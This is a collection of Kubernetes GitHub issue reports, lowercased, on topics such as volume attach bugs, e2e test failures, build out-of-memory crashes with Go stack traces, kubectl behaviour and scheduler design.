am i doing something wrong?  if i use  a public image for my pod it starts without any problem .. this only happends to me when using private images ..  thanks in advance, i am puzzled :/

in the  api.podsecuritycontext  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l1240-l1243 , we can specify the pod to be running in the host pid/ipc namespace. i think this can be implemented in rktnetes by using  rkt fly .  @kubernetes/sig-node @sjpotter @euank @steveej @jonboulle

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1606/  failed:  k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port using proxy subresource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct 26 01:00:24.818: couldn't delete ns: \ e2e-tests-proxy-gimfr\ : the server cannot complete the requested operation at this time, try again later  get secrets   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ the server cannot complete the requested operation at this time, try again later  get secrets \ , reason:\ servertimeout\ , details:  unversioned.statusdetails  0xc820d2c190 , code:504}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r     bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.4.6, v1.5.0-beta.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos7\r \r   what happened  : when kubernetes relocates a pod that has a persistent volume from cinder, the pod will never start because the volume cannot be attached as it is already attached to another node.\r \r \r   what you expected to happen  : kubernetes should detach the volume from old node and attach it to new node and then start the pod.\r \r \r   how to reproduce it  : have 2 nodes in the same az. create a pod with a cinder volume. shut down the node where the pod is running. pod relocates to another node but fails to start as volume never detaches from the original node.\r \r \r   anything else do we need to know  : pod relocation can happen for failed nodes or if a pod is deleted on a perfectly functional node. thus, detach should occur if required, no matter what state the original node is in. attach is handled in: pkg/cloudprovider/providers/openstack/openstack_volumes.go. volume detach is never attempted if disk is attached to a different compute, leading to an infinite failure loop  even if failed node recovers :\r    \r if len disk.attachments  > 0 && disk.attachments 0  \ server_id\   != nil {\r \tif instanceid == disk.attachments 0  \ server_id\   {\r \t\tglog.v 4 .infof \ disk: %q is already attached to compute: %q\ , diskname, instanceid \r \t\treturn disk.id, nil\r \t} else {\r \t\terrmsg := fmt.sprintf \ disk %q is attached to a different compute: %q, should be detached before proceeding\ , diskname, disk.attachments 0  \ server_id\   \r \t\tglog.errorf errmsg \r \t\treturn \ \ , errors.new errmsg \r \t}\r }\r    \r \r \r

i am trying to mount a iscsi volume into the pod but i am getting mounting issues. does minikube support iscsi persistent volumes

currently the apiserver returns 500 if a patch request contains invalid patch, e.g., if you do  $ kubectl patch -f redis-master.yaml -p feafeczea , and then check  kube-apiserver.log , you will see \r    \r logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ json: cannot unmarshal string into go value of type map string interface {}\\\ ,\\\ code\\\ :500}\ \r    \r \r the apiserver should either return a 422   newinvalid   or a 400   newbadrequest  .\r \r  cc @kubernetes/sig-api-machinery-bugs

see https://github.com/kubernetes/kubernetes/pull/53833 issuecomment-344009912

 /assign\r \r   what happened  :\r ilb sync fails due to the existing forwarding rule & address referencing a subnet where the cluster does not exist.\r \r   what you expected to happen  :\r ilb sync continues to work despite the fact the load balancer uses the wrong subnet.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  - create a k8s pre-1.8.7 cluster on gcp specifying only an automatic network. \r  - create a subnetwork within the automatic network and within the same region as the cluster. \r  - create an internal load balancer via a service.\r  - upgrade to 1.9.1\r  - describe the ilb service and look at its events.\r \r error creating load balancer  will retry : failed to ensure load balancer for service default/my-service: failed to get address by ip \ 10.0.0.2\  after reservation attempt, err: \ googleapi: error 404: address with ip \\\ 10.0.0.2\\\  was not found in region \\\ us-central1\\\ \ , reservation err: \ googleapi: error 400: invalid value for field 'resource.address': '10.0.0.2'. requested ip is not within the range of subnetwork 'default'., invalid\ \r \r   \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r the tests are failing again because the scheduler messages have changed yet again.  i'm going to remove the check for the exact messages because this is at least the 3rd time this has happened.  instead depend on unit/integration tests to check for specific failures.\r \r also there's no need for these tests to run across all types of local volumes because it's just testing the scheduler part.

is this a bug report or feature request?  :\r  \r   what happened  :\r kubectl auth can-i return yes and exit code 0 when querying about  non-existent resources.\r \r > ./kubectl auth can-i get foo\r warning: the server doesn't have a resource type 'foo'\r yes\r \r \r > echo $?\r 0\r \r   what you expected to happen  :\r kubectl auth can-i should return the warning message and exit code 1.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - login in kubernetes.\r - run kubectl auth can-i get foo\r \r   environment  :\r kubernetes v1.9.1+a0ce1bc657\r kubectl v1.11.0-alpha.2.329+9fa269a5e5e8ce\r most probably, reproducible in all versions.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r this needs updating with the memory requirements\r https://github.com/kubernetes/kubernetes to-start-developing-kubernetes\r \r \r \r   what happened  :\r make/build on kubernetes repo failed  with fatal error: runtime: out of memory\r \r \r   what you expected to happen  :\r make to pass\r   how to reproduce it  as minimally and precisely as possible   :\r $ go get -d k8s.io/kubernetes\r $ cd $gopath/src/k8s.io/kubernetes\r $ make\r   anything else we need to know?  :\r :~/go/src/k8s.io/kubernetes$ make\r +++  0626 06:46:31  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r +++  0626 06:46:47  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/defaulter-gen\r +++  0626 06:46:55  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/conversion-gen\r +++  0626 06:47:04  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/openapi-gen\r +++  0626 06:47:16  building go targets for linux/amd64:\r     ./vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0626 06:47:18  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     cmd/kube-scheduler\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     cluster/gce/gci/mounter\r     cmd/kubectl\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r /usr/local/go/pkg/tool/linux_amd64/link: signal: killed\r   k8s.io/kubernetes/cmd/genman\r fatal error: runtime: out of memory\r \r runtime stack:\r runtime.throw 0x5fda68, 0x16 \r \t/usr/local/go/src/runtime/panic.go:616 +0x81\r runtime.sysmap 0xc4674d0000, 0x100000, 0x548f00, 0x7178d8 \r \t/usr/local/go/src/runtime/mem_linux.go:216 +0x20a\r runtime.  mheap .sysalloc 0x6fef40, 0x100000, 0x7f745d115c98 \r \t/usr/local/go/src/runtime/malloc.go:470 +0xd4\r runtime.  mheap .grow 0x6fef40, 0x1f, 0x0 \r \t/usr/local/go/src/runtime/mheap.go:907 +0x60\r runtime.  mheap .allocspanlocked 0x6fef40, 0x1f, 0x7178e8, 0x7ffd7fcc8a40 \r \t/usr/local/go/src/runtime/mheap.go:820 +0x301\r runtime.  mheap .alloc_m 0x6fef40, 0x1f, 0x410100, 0xc41dc5a3ff \r \t/usr/local/go/src/runtime/mheap.go:686 +0x118\r runtime.  mheap .alloc.func1  \r \t/usr/local/go/src/runtime/mheap.go:753 +0x4d\r runtime.  mheap .alloc 0x6fef40, 0x1f, 0x7ffd7f010100, 0x412e8c \r \t/usr/local/go/src/runtime/mheap.go:752 +0x8a\r runtime.largealloc 0x3c8c0, 0x440001, 0x7f745da5a6c8 \r \t/usr/local/go/src/runtime/malloc.go:826 +0x94\r runtime.mallocgc.func1  \r \t/usr/local/go/src/runtime/malloc.go:721 +0x46\r runtime.systemstack 0x0 \r \t/usr/local/go/src/runtime/asm_amd64.s:409 +0x79\r runtime.mstart  \r \t/usr/local/go/src/runtime/proc.go:1175\r \r goroutine 1  running :\r runtime.systemstack_switch  \r \t/usr/local/go/src/runtime/asm_amd64.s:363 fp=0xc42062e390 sp=0xc42062e388 pc=0x451b50\r runtime.mallocgc 0x3c8c0, 0x5f2780, 0x301, 0xc4552f01a0 \r \t/usr/local/go/src/runtime/malloc.go:720 +0x8a2 fp=0xc42062e430 sp=0xc42062e390 pc=0x40f5c2\r runtime.makeslice 0x5f2780, 0x3e8, 0x3e8, 0xc5, 0x7174a0, 0xc466a34c00 \r \t/usr/local/go/src/runtime/slice.go:61 +0x77 fp=0xc42062e460 sp=0xc42062e430 pc=0x43e247\r cmd/link/internal/sym.  symbols .newsym ... \r \t/usr/local/go/src/cmd/link/internal/sym/symbols.go:56\r cmd/link/internal/sym.  symbols .lookup 0xc42050e000, 0xc4674b0ea0, 0xc5, 0x0, 0xc4674967c8 \r \t/usr/local/go/src/cmd/link/internal/sym/symbols.go:79 +0x299 fp=0xc42062e4c8 sp=0xc42062e460 pc=0x4d71a9\r cmd/link/internal/objfile.  objreader .readref 0xc42062e8a0 \r \t/usr/local/go/src/cmd/link/internal/objfile/objfile.go:390 +0x10d fp=0xc42062e5f0 sp=0xc42062e4c8 pc=0x4f7b0d\r cmd/link/internal/objfile.  objreader .loadobjfile 0xc42062e8a0 \r \t/usr/local/go/src/cmd/link/internal/objfile/objfile.go:109 +0x2ce fp=0xc42062e7e8 sp=0xc42062e5f0 pc=0x4f4f3e\r cmd/link/internal/objfile.load 0x6ed3a0, 0xc42050e000, 0xc436847c50, 0xc44341c240, 0x88bb8, 0xc447614150, 0x2b \r \t/usr/local/go/src/cmd/link/internal/objfile/objfile.go:69 +0x1a1 fp=0xc42062e9c8 sp=0xc42062e7e8 pc=0x4f4a61\r cmd/link/internal/ld.ldobj 0xc420512000, 0xc436847c50, 0xc44341c240, 0x88c24, 0xc447614150, 0x2b, 0xc4205a8470, 0x23, 0x1, 0x0 \r \t/usr/local/go/src/cmd/link/internal/ld/lib.go:1515 +0xcb1 fp=0xc42062ec80 sp=0xc42062e9c8 pc=0x54f611\r cmd/link/internal/ld.loadobjfile 0xc420512000, 0xc44341c240 \r \t/usr/local/go/src/cmd/link/internal/ld/lib.go:839 +0x50d fp=0xc42062ee68 sp=0xc42062ec80 pc=0x548fbd\r cmd/link/internal/ld.  link .loadlib 0xc420512000 \r \t/usr/local/go/src/cmd/link/internal/ld/lib.go:365 +0x183 fp=0xc42062f110 sp=0xc42062ee68 pc=0x545a33\r cmd/link/internal/ld.main 0x6ed3a0, 0x10, 0x20, 0x1, 0x7, 0x10, 0x5ff52e, 0x1b, 0x5fc864, 0x14, ... \r \t/usr/local/go/src/cmd/link/internal/ld/main.go:201 +0xa73 fp=0xc42062f2a0 sp=0xc42062f110 pc=0x55d4d3\r main.main  \r \t/usr/local/go/src/cmd/link/main.go:62 +0x277 fp=0xc42062ff88 sp=0xc42062f2a0 pc=0x594ad7\r runtime.main  \r \t/usr/local/go/src/runtime/proc.go:198 +0x212 fp=0xc42062ffe0 sp=0xc42062ff88 pc=0x429f62\r runtime.goexit  \r \t/usr/local/go/src/runtime/asm_amd64.s:2361 +0x1 fp=0xc42062ffe8 sp=0xc42062ffe0 pc=0x454541\r !!!  0626 06:57:13  call tree:\r !!!  0626 06:57:13   1: /home/hs/go/src/k8s.io/kubernetes/hack/lib/golang.sh:610 kube::golang::build_binaries_for_platform ... \r !!!  0626 06:57:13   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0626 06:57:13  call tree:\r !!!  0626 06:57:13   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0626 06:57:13  call tree:\r !!!  0626 06:57:13   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r makefile:92: recipe for target 'all' failed\r make:      all  error 1\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r cat /etc/os-release \r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r linux ubuntu 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r hs@ubuntu:~/go/src/k8s.io/kubernetes$ cat /proc/cpuinfo\r processor\t: 0\r vendor_id\t: genuineintel\r cpu family\t: 6\r model\t\t: 70\r model name\t: intel r  core tm  i7-4770hq cpu @ 2.20ghz\r stepping\t: 1\r microcode\t: 0x19\r cpu mhz\t\t: 2194.950\r cache size\t: 6144 kb\r physical id\t: 0\r siblings\t: 1\r core id\t\t: 0\r cpu cores\t: 1\r apicid\t\t: 0\r initial apicid\t: 0\r fpu\t\t: yes\r fpu_exception\t: yes\r cpuid level\t: 13\r wp\t\t: yes\r flags\t\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc cpuid aperfmperf pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm cpuid_fault epb invpcid_single pti tpr_shadow vnmi ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt dtherm ida arat pln pts\r bugs\t\t: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass\r bogomips\t: 4389.90\r clflush size\t: 64\r cache_alignment\t: 64\r address sizes\t: 42 bits physical, 48 bits virtual\r power management:\r \r processor\t: 1\r vendor_id\t: genuineintel\r cpu family\t: 6\r model\t\t: 70\r model name\t: intel r  core tm  i7-4770hq cpu @ 2.20ghz\r stepping\t: 1\r microcode\t: 0x19\r cpu mhz\t\t: 2194.950\r cache size\t: 6144 kb\r physical id\t: 2\r siblings\t: 1\r core id\t\t: 0\r cpu cores\t: 1\r apicid\t\t: 2\r initial apicid\t: 2\r fpu\t\t: yes\r fpu_exception\t: yes\r cpuid level\t: 13\r wp\t\t: yes\r flags\t\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc cpuid aperfmperf pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm cpuid_fault epb invpcid_single pti tpr_shadow vnmi ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt dtherm ida arat pln pts\r bugs\t\t: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass\r bogomips\t: 4389.90\r clflush size\t: 64\r cache_alignment\t: 64\r address sizes\t: 42 bits physical, 48 bits virtual\r power management:\r \r hs@ubuntu:~/go/src/k8s.io/kubernetes$ cat /proc/meminfo\r memtotal:        4015684 kb\r memfree:         2083896 kb\r memavailable:    2771800 kb\r buffers:           23820 kb\r cached:           850996 kb\r swapcached:        38172 kb\r active:           770756 kb\r inactive:         507332 kb\r active anon :     268400 kb\r inactive anon :   141848 kb\r active file :     502356 kb\r inactive file :   365484 kb\r unevictable:          32 kb\r mlocked:              32 kb\r swaptotal:       2097148 kb\r swapfree:        1002904 kb\r dirty:               276 kb\r writeback:             0 kb\r anonpages:        365608 kb\r mapped:           276932 kb\r shmem:              6976 kb\r slab:             123420 kb\r sreclaimable:      50020 kb\r sunreclaim:        73400 kb\r kernelstack:       14096 kb\r pagetables:        58320 kb\r nfs_unstable:          0 kb\r bounce:                0 kb\r writebacktmp:          0 kb\r commitlimit:     4104988 kb\r committed_as:    6971756 kb\r vmalloctotal:   34359738367 kb\r vmallocused:           0 kb\r vmallocchunk:          0 kb\r hardwarecorrupted:     0 kb\r anonhugepages:         0 kb\r shmemhugepages:        0 kb\r shmempmdmapped:        0 kb\r cmatotal:              0 kb\r cmafree:               0 kb\r hugepages_total:       0\r hugepages_free:        0\r hugepages_rsvd:        0\r hugepages_surp:        0\r hugepagesize:       2048 kb\r directmap4k:      489280 kb\r directmap2m:     3704832 kb\r directmap1g:     2097152 kb\r \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gce-serial\r \r   which test s  are failing  :\r  sig-storage  persistentvolumes-local stress with local volumes  serial  should be able to process many pods and reuse local volumes\r \r   since when has it been failing  :\r since introduction\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-storage-kubernetes gce-serial\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:526\r expected error:\r     < errors.errorstring | 0xc0002d0260>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:612\r    \r \r   anything else we need to know  :\r

hey guys,\r \r when running  make test  command on release-1.4 branch, i got the below errors, my go version is  go version go1.7.1 linux/amd64 , how to fix it or something else have i missed?\r    \r --- fail: testdeletepods  0.10s \r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x0 \r \r goroutine 78  running :\r panic 0x1ad9860, 0xc420012130 \r \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r testing.trunner.func1 0xc42025b080 \r \t/usr/local/go/src/testing/testing.go:579 +0x25d\r panic 0x1ad9860, 0xc420012130 \r \t/usr/local/go/src/runtime/panic.go:458 +0x243\r k8s.io/kubernetes/pkg/kubectl/cmd/util.printsuccess 0xc420043f80, 0x93a21d, 0xc42048f800, 0xc420293c20, 0x0, 0x1cbada3, 0x3, 0xc42048f8a0, 0x4, 0x1cbebc1, ... \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/printing.go:60 +0x66\r k8s.io/kubernetes/pkg/kubectl/cmd.  drainoptions .waitfordelete.func1 0x1a2f260, 0xc420293c80, 0xc420311be7 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/drain.go:419 +0x241\r k8s.io/kubernetes/pkg/util/wait.waitfor 0xc420284740, 0xc420284720, 0xc420293c20, 0x0, 0x0 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:210 +0x70\r k8s.io/kubernetes/pkg/util/wait.pollinternal 0xc420284740, 0xc420284720, 0x0, 0x0 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:165 +0x99\r k8s.io/kubernetes/pkg/util/wait.pollimmediateinternal 0xc420284740, 0xc420284720, 0xc420284740, 0xc420284720 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:182 +0x5a\r k8s.io/kubernetes/pkg/util/wait.pollimmediate 0x5f5e100, 0x2540be400, 0xc420284720, 0x0, 0x0 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:171 +0x4d\r k8s.io/kubernetes/pkg/kubectl/cmd.  drainoptions .waitfordelete 0xc420311e38, 0xc42015aa00, 0x8, 0x8, 0x5f5e100, 0x2540be400, 0xc42048f870, 0xc4202a5770, 0xc4202a5760, 0xc4202a5750, ... \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/drain.go:433 +0xf1\r k8s.io/kubernetes/pkg/kubectl/cmd.testdeletepods 0xc42025b080 \r \t/home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/drain_test.go:624 +0x255\r testing.trunner 0xc42025b080, 0x1dc1428 \r \t/usr/local/go/src/testing/testing.go:610 +0x81\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:646 +0x2ec\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd\t0.270s\r     \r    \r --- fail: testclonetlsconfig  0.00s \r \thttp_test.go:72: new fields seen in http.transport:  dynamicrecordsizingdisabled renegotiation \r \t\tadd to copyclienttlsconfig if client-relevant, then add to expected list in testcopyclienttlsconfig\r fail\r fail\tk8s.io/kubernetes/pkg/util/net\t0.056s\r    \r

forked from https://github.com/kubernetes/kubernetes/pull/46471 discussion_r119235160 based on discussion with @caesarxuchao.\r \r kubectl, today, uses deleteoptions.orphandependents field to do cascading deletion.\r we need to do the following to update kubectl to use  propagationpolicy  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l401  instead.\r \r -     in 1.7, update federation-apiserver to support propagationpolicy\r -     in 1.8, update kubectl to use propagationpolicy instead of orphandependents.\r -     in 1.9, we can then stop supporting orphandependents in kube-apiserver and federation-apiserver.

 \r   what happened  :\r updated from kubernetes v1.6.4 environment to v1.7.0 environment with existing statefulsets. after seeing some errors regarding to scheduling i noticed repeated event:\r \r > 8m\t\t17s\t\t32\tstatefulset\t\t\twarning\t\tfailedupdate\tupdate pod affinity-test-0 in statefulset affinity-test failed error: pod \ affinity-test-0\  is invalid: spec: forbidden: pod updates may not change fields other than  spec.containers   .image ,  spec.initcontainers   .image ,  spec.activedeadlineseconds  or  spec.tolerations   only additions to existing tolerations \r \r it seems that the statefulset is trying to update all its pods but with something that is immutable. trying to figure out what and my current best guess is serviceaccount  which was not there previously when it was created .\r \r   what you expected to happen  :\r delete and re-create the pods since it is changing immutable fields\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create statefulset in 1.6.4 with some features missing  sa? \r - update to v1.7.0\r \r i have logs from controller-manager but they are rather spammy at --v=8 so if you have something to look for - here is what i guessed should be relevant  private info removed : https://gist.github.com/callmefoxie/353971434e20a3048b368d3fc835ab76\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4 -> v1.7.0\r - cloud provider or hardware configuration  : self-hosted\r - install tools: manual\r

failure cluster  c4c989877505fcf67164  https://go.k8s.io/triage c4c989877505fcf67164        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1285 expected error:     < errors.errorstring | 0xc4215a6d10>: {         s: \ error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-v8h49 run e2e-test-rm-busybox-job --image=gcr.io/google_containers/busybox:1.24 --rm=true --generator=job/v1 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed'      0xc421415be0      <nil> <nil> <nil> <nil> <nil> false  0xc42011e5c0 0xc42011e660 0xc42011e6d0   0xc42011e5c0 0xc42011e660 0xc42011e6d0   0xc42011e5f8 0xc42011e638 0xc42011e688   0x976000 0x976100 0x976100  <nil> <nil>}:\ command stdout:\ \ stderr:\ \ error:\ fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory\ \ ,     }     error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-v8h49 run e2e-test-rm-busybox-job --image=gcr.io/google_containers/busybox:1.24 --rm=true --generator=job/v1 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed'      0xc421415be0      <nil> <nil> <nil> <nil> <nil> false  0xc42011e5c0 0xc42011e660 0xc42011e6d0   0xc42011e5c0 0xc42011e660 0xc42011e6d0   0xc42011e5f8 0xc42011e638 0xc42011e688   0x976000 0x976100 0x976100  <nil> <nil>}:     command stdout:          stderr:          error:     fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2087           failure cluster statistics: 1 tests failed,    28 jobs failed,    381 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew | 24 |  11 jul 2017 16:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew/761  | | ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew | 24 |  11 jul 2017 16:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew/433  | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/423  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | soltysh |  k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  |  </details><br>   current status  https://go.k8s.io/triage c4c989877505fcf67164

gpu tests in 1.7 branch started consistently failing:\r https://k8s-testgrid.appspot.com/release-1.7-blocking gke-gpu-1-7\r \r the other ones became flakey recently:\r https://k8s-testgrid.appspot.com/release-1.7-blocking gce-gpu-1-7\r \r @vishh - can you please take a look - this will be blocking 1.7.3 patch release?

scheduler uses filters  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l167  and  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l187  when installing event handlers on pod informers. the filters separate assigned and unassigned pods. however, this causes scheduler to receive a non-intuitive sequence of events when a pod is scheduled and bound to a node. scheduler first receives a \ delete\  event for the unassigned pod followed by an \ add\  event for the assigned pod. this is confusing and could cause unexpected behavior in future developments.\r these events are sent due to  the logic of cache controller filter when handling updates  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/tools/cache/controller.go l231 .\r \r in order to get an update event when a pod is scheduled, we need to remove the filtering on assigned vs. unassigned pods and check the assignment status of pods in the handler functions.\r \r  

we have a cluster where some nodes are  amd64  and some are  arm64 . to deploy cni plugins via daemonset, we have to use separate ds with appropriate node selectors. can the daemonset container image be set based on machine architecture? this will simplify life for end users when they move between single arch cluster and mixed arch cluster. \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  > \r \r   what happened  :\r proceeding to add coredns as an addon option in kube-up which can be used instead of kube-dns.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

